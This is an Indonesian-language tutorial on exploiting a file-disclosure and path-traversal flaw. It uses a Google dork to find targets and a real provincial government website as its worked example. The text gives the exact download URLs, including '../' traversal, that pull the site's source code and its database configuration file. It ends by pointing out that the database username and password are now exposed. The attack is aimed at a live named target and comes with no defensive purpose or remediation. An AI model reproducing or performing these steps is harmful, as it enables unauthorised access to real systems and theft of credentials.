File Disclosure

oke kita langsung aja. Pertama searching di google dengan "inurl:/downlot.php?file=" tanpa tanda kutip. Kita ambil http://www.kaltimprov.go.id/ untuk contoh. oke we start.

kita dapet source salah satu file yaitu.
http://www.kaltimprov.go.id/downlot.php?id=kt-admin%2Fuu%2F3949PER.03...pdf

setiap website biasanya pake index.php untuk halaman depan jadi kita coba:
www.kaltimprov.go.id/downlot.php?id=kt-admin/uu/index.php

selesai download kita buka pake notepad. terlihat source code seperti ini.
header('location:../../index.php');
?>

nah itu berarti ada file index yang asli yaitu di ../../index.php. kalo gitu kita download filenya.
www.kaltimprov.go.id/downlot.php?id=kt-admin/uu/../../index.php

kita buka dengan notepad, akan terlihat sorce code banyak. tapi yang kita lihat adalah databasenya. disitu ditemukan configure/koneksi.php. file ini mungkin menghubungkan ke database. ayo kita download.
http://www.kaltimprov.go.id/downlot.php?id=kt-admin%2Fuu%2Fconfigure%2Fkoneksi.php

ternyata error, hehehe. kalo gitu kita coba hapus kt-admin/uu/ jadi kita downloadnya seperti ini.
http://www.kaltimprov.go.id/downlot.php?id=configure%2Fkoneksi.php

setelah di download terlihat deh username dan password database. ^^